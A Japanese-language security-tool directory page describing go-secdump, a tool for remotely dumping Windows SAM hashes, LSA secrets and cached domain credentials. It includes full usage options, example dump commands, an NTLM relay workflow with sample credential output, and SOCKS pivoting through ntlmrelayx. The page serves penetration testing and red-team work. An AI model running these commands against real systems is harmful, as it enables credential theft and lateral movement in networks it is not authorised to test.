Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
go-secdump — Windowsレジストリからリモートでシークレットをダンプするツール | Kitploit
ツール/GitHubGitHub/jfjallid/go-secdump
パスワードクラッキング暗号化/復号化ツール横移動ポストエクスプロイトペネトレーションテスト認証レッドチーミング
GitHubjfjallid/go-secdump

go-secdump

Windowsレジストリからリモートでシークレットをダンプするツール

リポジトリを見る
5346042ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

go-secdump

説明

パッケージ go-secdump は、リモートエージェントを必要とせず、ディスクに触れることなく、SAM レジストリハイブからハッシュを、また SECURITY ハイブから LSA シークレットとキャッシュされたハッシュをリモートで抽出するために構築されたツールです。

このツールはライブラリ go-smb 上に構築されており、それを使用して Windows リモート レジストリと通信し、レジストリキーをメモリから直接取得します。

学習体験および概念実証として構築され、SAM ハイブから NT ハッシュ、LSA シークレット、およびドメインキャッシュされた資格情報を、レジストリハイブをディスクに保存してからローカルで解析する必要なく、リモートで取得できることを示すために作られました。

克服すべき主な問題は、SAM ハイブと SECURITY ハイブが NT AUTHORITY\SYSTEM のみによって読み取り可能であることでした。しかし、ローカルグループ管理者がレジストリハイブに対する WriteDACL 権限を持っており、それを使用して一時的に自身に読み取りアクセス権を付与し、シークレットを取得した後、元の権限を復元できることに気付きました。

しかし、より良いアプローチが Synacktiv の Julien Egloff によって(2025年2月に)発見されました。レジストリキーへのハンドルを開くために使用される BaseRegOpenKey リクエストには、SeBackupPrivilege をアサートするオプションがあり、DACL を変更せずにレジストリキーを開くことができます。 ツールはこの新しいアプローチを優先するように更新され、明示的に要求された場合のみ DACL を変更します。

クレジット

このプロジェクトのコードの多くは Impacket の secdump から着想を得て/借用されていますが、Windows レジストリにリモートアクセスし、必要なレジストリキーのみにアクセスするように変換されています。

レジストリ構造と暗号化方式を理解するのに役立った他の情報源を以下に示します。

https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

http://www.beginningtoseethelight.org/ntsecurity/index.htm

https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral

SeBackupPrivilege を使用するアイデアは Synacktiv から提供されました: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump

使用方法

root@kitploit:~
Usage: ./go-secdump [options]

options:
      --host <target>        Hostname or ip address of remote server. Must be hostname when using Kerberos
  -P, --port <port>          SMB Port (default 445)
  -d, --domain <domain>      Domain name to use for login
  -u, --user <username>      Username
  -p, --pass <pass>          Password
  -n, --no-pass              Disable password prompt and send no credentials
      --hash <NT Hash>       Hex encoded NT Hash for user password
      --local                Authenticate as a local user instead of domain user
  -k, --kerberos             Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
      --dc-ip <ip>           Optionally specify ip of KDC when using Kerberos authentication
      --target-ip <ip>       Optionally specify ip of target when using Kerberos authentication
      --aes-key <hex>        Use a hex encoded AES128/256 key for Kerberos authentication
      --keytab-file <file>   Authenticate using keys from a keytab file (implies -k). User and
                             domain are taken from the first keytab entry if not specified
      --dns-host <ip[:port]> Override system's default DNS resolver
      --dns-tcp              Force DNS lookups over TCP. Default true when using --socks-host
      --dump                 Saves the SAM and SECURITY hives to disk and
                             transfers them to the local machine.
      --sam                  Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
      --lsa                  Extract LSA secrets explicitly. Only other explicit targets are included.
      --dcc2                 Extract DCC2 caches explicitly. Only other explicit targets are included.
      --misc                 Extract misc registry secrets such as the Winlogon
                             DefaultPassword explicitly. Only other explicit targets are included.
      --modify-dacl          Change DACLs of reg keys before dump.
                             Only required if keys cannot be opened using SeBackupPrivilege. (default false)
      --backup-dacl          Save original DACLs to disk before modification
      --restore-dacl         Restore DACLs using disk backup. Could be useful if automated restore fails.
      --backup-file <file>   Filename for DACL backup (default dacl.backup)
      --relay                Start an SMB listener that will relay incoming
                             NTLM authentications to the remote server and
                             use that connection. NOTE that this forces SMB 2.1
                             without encryption.
      --relay-port <port>    Listening port for relay (default 445)
      --socks-host <target>  Establish connection via a SOCKS5 proxy server
      --socks-port <port>    SOCKS5 proxy port (default 1080)
  -t, --timeout <duration>   Dial timeout in format 5s or 2m (default 5s)
      --noenc                Disable smb encryption
      --smb2                 Force smb 2.1
      --debug                Enable debug logging. Bare --debug turns on every
                             registered package; --debug=msrrp,smb turns on only the
                             listed package-name suffixes (the '=' form is required
                             for the filter).
      --verbose              Enable verbose logging. Same filter syntax as --debug.
                             --debug and --verbose may be combined with different
                             filters; a package targeted by both gets the higher level.
      --list-log-packages    List the registered log package names that can be
                             targeted with --debug=<suffix> or --verbose=<suffix>,
                             then exit
  -o, --output <file>        Filename for writing results (default is stdout). Will append to file if it exists.
      --output-format <fmt>  Output format: text (default), json, or hashcat
      --history              Include historical (OldVal) LSA secrets in addition to current values
  -q, --quiet                Suppress informational headers; print only secrets
  -v, --version              Show version

DACL の変更

現在は --modify-dacl で有効になるオプション機能としてのみ、go-secdump は自動的に必要なレジストリキーの DACL を変更してから復元しようとします。ただし、ネットワーク切断やその他の割り込みなど、復元部分で問題が発生した場合、リモートレジストリは変更された DACL のまま残ります。

--backup-dacl 引数を使用すると、変更前に元の DACL をシリアル化して保存できます。 接続の問題が発生した場合、後で --restore-dacl 引数を使用してファイルから DACL を復元できます。

例

SeBackupPrivilege のトリックを使用してすべてのレジストリシークレットをダンプする

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
または
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

SAM、LSA、DCC2 キャッシュ、またはその他のレジストリシークレットのみをダンプする

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc

--misc ターゲットは、SAM/LSA/DCC2 ハイブに属さないその他のレジストリシークレットを抽出します。現在は、Winlogon の自動ログオン DefaultPassword(存在する場合は関連する DefaultUserName)です。

履歴 LSA シークレット、出力形式、および静粛モード

現在の値に加えて履歴(OldVal)LSA シークレットを含めるには --history を使用します。-o/--output で結果をファイルに書き込み(存在する場合は追記)、--output-format でシークレットのフォーマットを選択します:

  • text(デフォルト)— 人間が読める形式
  • json — 型付きレコードの JSON 配列。さらなる処理に便利です
  • hashcat — hashcat に直接入力できる生の NT ハッシュ(モード 1000)と $DCC2$ 行(モード 2100)

-q/--quiet を使用すると、情報ヘッダーとサマリーを抑制し、シークレット自体のみが出力されます。

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet

パッケージごとのログ

ターゲットにできるログパッケージ名を一覧表示し、特定のパッケージ(名前のサフィックスで一致)のみに対してデバッグまたは詳細ログを有効にします(すべてのパッケージに対してではありません):

root@kitploit:~
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb

NTLM リレー

NTLM リレーを使用してレジストリシークレットをダンプする

リスナーを開始

root@kitploit:~
./go-secdump --host 192.168.0.100 -n --relay

何らかの方法で 192.168.0.100 への管理アクセス権を持つクライアントから自分のマシンへの認証をトリガーし、ダンプされたシークレットを待ちます。

root@kitploit:~
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5

Name: Guest
RID: 501
NT: <empty>

Name: DefaultAccount
RID: 503
NT: <empty>

Name: WDAGUtilityAccount
RID: 504
NT: <empty>

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...

SOCKS プロキシ

アップストリームの SOCKS5 プロキシを使用してシークレットをダンプします。ピボット目的、または Impacket の ntlmrelayx.py SOCKS サーバー機能を活用するために使用します。

アップストリームプロキシとして ntlmrelayx.py を使用する場合、指定されたユーザー名は認証されたクライアントのものと一致する必要がありますが、パスワードは空でもかまいません。

root@kitploit:~
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
ツールをダウンロード